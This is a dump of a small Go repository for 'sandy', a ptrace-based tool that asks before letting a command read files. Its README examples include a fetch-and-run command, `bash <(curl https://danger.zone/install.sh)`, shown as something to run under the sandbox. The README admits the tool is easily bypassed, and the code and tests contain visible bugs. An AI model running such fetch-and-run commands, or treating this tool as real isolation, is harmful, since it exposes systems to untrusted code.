Repository: hobochild/sandy Branch: master Commit: dcba083d6758 Files: 10 Total size: 8.6 KB Directory structure: gitextract_ncne_7u2/ ├── .editorconfig ├── .github/ │ └── workflows/ │ └── go.yml ├── .gitignore ├── Makefile ├── README.md ├── go.mod ├── go.sum ├── password.txt ├── sandy.go └── sandy_test.go ================================================ FILE CONTENTS ================================================ ================================================ FILE: .editorconfig ================================================ [Makefile] indent_style = tab ================================================ FILE: .github/workflows/go.yml ================================================ name: Go on: [push] jobs: build: name: Build runs-on: ubuntu-latest steps: - name: Set up Go 1.13 uses: actions/setup-go@v1 with: go-version: 1.13 id: go - name: Check out code into the Go module directory uses: actions/checkout@v1 - name: Get dependencies run: make install - name: Build run: make build ================================================ FILE: .gitignore ================================================ build dist sandy .idea ================================================ FILE: Makefile ================================================ .PHONY: install install: go.sum go get -v -t .PHONY: build build: install go build -o sandy .PHONY: test test: build go test .PHONY: dist dist: env GOOS=linux GOARCH=amd64 go build -o ./dist/sandy_linux_amd64 ================================================ FILE: README.md ================================================ # Sandy > A tiny sandbox to run untrusted code. 🏖️ Sandy uses Ptrace to hook into READ syscalls, giving you the option to accept or deny syscalls before they are executed. **WARNING**: While sandy is able to intercept READ syscalls there are a variety of ways to get around this. Full details can be found in the [hackernews thread](https://news.ycombinator.com/item?id=22025986). Some of which can be patched to catch simple attacks, but you should use sandy with the expectation that it is better than nothing but it is not true isolation. ## Usage ``` Usage of ./sandy:   sandy [FLAGS] command   flags:     -h Print Usage.     -n value         A glob pattern for automatically blocking file reads.     -y value         A glob pattern for automatically allowing file reads. ``` ## Use cases ### You want to install anything ```shell > sandy -n "/etc/password.txt" npm install sketchy-module   BLOCKED READ on /etc/password.txt ``` ```shell > sandy -n "/etc/password.txt" bash <(curl  https://danger.zone/install.sh)   BLOCKED READ on /etc/password.txt ``` ### You are interested in what file reads you favourite program makes. Sure you could use strace, but it references file descriptors sandy makes the this much easier at a glance by printing the absolute path of the fd. ``` > sandy ls Wanting to READ /usr/lib/x86_64-linux-gnu/libselinux.so.1 [y/n] ``` ### You _don't_ want to buy your friends beer A friend at work knows that you are security conscious and that you keep a `/free-beer.bounty` file in home directory. With the promise of a round of drinks and office wide humiliation Dave tries to trick you with a malicious script under the guise of being a helpful colleague. You run there script with sandy and catch him red handed. ```shell > sandy -n *.bounty bash ./dickhead-daves-script.sh   BLOCKED READ on /free-beer.bounty ``` **NOTE**: It's definitely a better idea to encrypt all your sensitive data, sandy should probably only be used when that is inconvenient or impractical. **NOTE**: I haven't made any effort for cross-x compatibility so it currently only works on linux. I'd happily accept patches to improve portability. ================================================ FILE: go.mod ================================================ module github.com/hobochild/sandy go 1.13 require github.com/gobwas/glob v0.2.3 ================================================ FILE: go.sum ================================================ github.com/gobwas/glob v0.2.3 h1:A4xDbljILXROh+kObIiy5kIaPYD8e96x1tgBhUI5J+Y= github.com/gobwas/glob v0.2.3/go.mod h1:d3Ez4x06l9bZtSvzIay5+Yzi0fmZzPgnTbPcKjJAkT8= ================================================ FILE: password.txt ================================================ 123 ================================================ FILE: sandy.go ================================================ package main import ( "bufio" "errors" "flag" "fmt" "github.com/gobwas/glob" "os" "os/exec" "strings" "syscall" ) type Request struct { path string syscall string allowed bool } func requestPermission(path string) (Request, error) { scanner := bufio.NewScanner(os.Stdin) fmt.Println(fmt.Sprintf("Wanting to READ %s [y/n]", path)) for scanner.Scan() { input := strings.ToLower(scanner.Text()) if input == "y" { break } if scanner.Text() == "n" { return Request{path, "READ", false}, nil } // Make a sounds fmt.Printf("\a") } return Request{path, "READ", true}, nil } func Exec(bin string, args, allowedPatterns, blockedPatterns []string) (map[string]Request, error) { var regs syscall.PtraceRegs reqs := make(map[string]Request) cmd := exec.Command(bin, args...) cmd.Stderr = nil cmd.Stdin = nil cmd.Stdout = nil cmd.SysProcAttr = &syscall.SysProcAttr{ Ptrace: true, // TODO Pdeathsig a linux only Pdeathsig: syscall.SIGKILL, } cmd.Stdout = os.Stdout cmd.Stderr = os.Stderr err := cmd.Start() if err != nil { return nil, fmt.Errorf("error while starting: %w", err) } _ = cmd.Wait() pid := cmd.Process.Pid for { err := syscall.PtraceGetRegs(pid, ®s) if err != nil { break } // https://stackoverflow.com/questions/33431994/extracting-system-call-name-and-arguments-using-ptrace if regs.Orig_rax == 0 { // TODO this is a cross-x barrier path, err := os.Readlink(fmt.Sprintf("/proc/%d/fd/%d", pid, regs.Rdi)) if err != nil { return nil, err } for _, pattern := range allowedPatterns { g := glob.MustCompile(pattern) matched := g.Match(path) if matched { matchedReq := Request{path, "READ", true} reqs[path] = matchedReq } } for _, pattern := range blockedPatterns { g := glob.MustCompile(pattern) matched := g.Match(path) if matched { matchedReq := Request{path, "READ", false} reqs[path] = matchedReq } } req, ok := reqs[path] if !ok { req, err := requestPermission(path) if err != nil { return nil, err } reqs[req.path] = req // Throw and exit the command if !req.allowed { return nil, errors.New(fmt.Sprintf("Blocked %s on %s", req.syscall, req.path)) } } else { // Throw and exit the command if !req.allowed { return nil, errors.New(fmt.Sprintf("Blocked %s on %s", req.syscall, req.path)) } } } err = syscall.PtraceSyscall(pid, 0) if err != nil { return nil, err } _, err = syscall.Wait4(pid, nil, 0, nil) if err != nil { return nil, err } } return reqs, nil } type arrayFlags []string func (i *arrayFlags) String() string { return "" } func (i *arrayFlags) Set(value string) error { *i = append(*i, value) return nil } // sandyUsage func is the usage handler for the sandy command func sandyUsage() { fmt.Printf("Usage: %s [OPTIONS] command\n", os.Args[0]) flag.PrintDefaults() } func main() { var allowedPattern arrayFlags var blockedPattern arrayFlags // TODO add sane defaults like libc etc allowedPattern = append(allowedPattern, "") // overriding the Usage handler flag.Usage = sandyUsage flag.Var(&blockedPattern, "n", "A glob pattern for automatically blocking file reads.\nFor example, \"/etc/password.txt\" or \"*.txt\".") flag.Var(&allowedPattern, "y", "A glob pattern for automatically allowing file reads.\nExpected format is same as -n.") showHelp := flag.Bool("h", false, "Print Usage.") flag.Parse() if flag.NArg() < 1 || *showHelp { flag.Usage() return } args := flag.Args() _, err := Exec(args[0], args[1:], allowedPattern, blockedPattern) if err != nil { fmt.Println(err) } } ================================================ FILE: sandy_test.go ================================================ package main import ( "bytes" "os/exec" "strings" "testing" ) func TestExec(t *testing.T) { s := []string{"password.txt"} patterns := []string{""} reqs, err := Exec("cat", s, patterns, patterns) if err != nil { t.Errorf("Something went wrong: %v", err) } if len(reqs) != 2 { t.Errorf("reqs count was incorrect, got: %d, want: %d.", len(reqs), 2) } } func TestInput(t *testing.T) { cmd := exec.Command("./sandy", "cat", "./password.txt") var out bytes.Buffer var in bytes.Buffer cmd.Stdout = &out cmd.Stdout = &in in.Write([]byte("n\n\r")) err := cmd.Run() if err != nil { t.Errorf("Something went wrong: %v", err) } if strings.Contains(out.String(), "Blocked READ on ...") { t.Errorf("Expected %s output got %s", "Blocked READ on ...", out.String()) } } // TODO we probably should instead just pass a mock reader for stdin into the Exec function and then call the fn // directly rather that full bin tests func TestAllowList(t *testing.T) { cmd := exec.Command("./sandy", "--y", "*.so", "--y", "*.txt", "cat", "./password.txt") var out bytes.Buffer cmd.Stdout = &out err := cmd.Run() if err != nil { t.Errorf("Something went wrong: %v", err) } if out.String() != "123\n" { t.Errorf("Expected %s output got %s", "123", out.String()) } } func TestBlockList(t *testing.T) { cmd := exec.Command("./sandy", "--y", "*.so", "--n", "*.txt", "cat", "./password.txt") var out bytes.Buffer cmd.Stdout = &out err := cmd.Run() if err != nil { t.Errorf("Something went wrong: %v", err) } if !strings.Contains(out.String(), "Blocked READ on ") { t.Errorf("Expected %s output got %s", "Blocked READ on", out.String()) } } func TestHelp(t *testing.T) { cmd := exec.Command("./sandy", "-h") var out bytes.Buffer cmd.Stdout = &out err := cmd.Run() if err != nil { t.Errorf("Something went wrong: %v", err) } if strings.Contains(out.String(), "Usage of ./sandy:") { t.Errorf("Expected %s output got %s", "123", out.String()) } }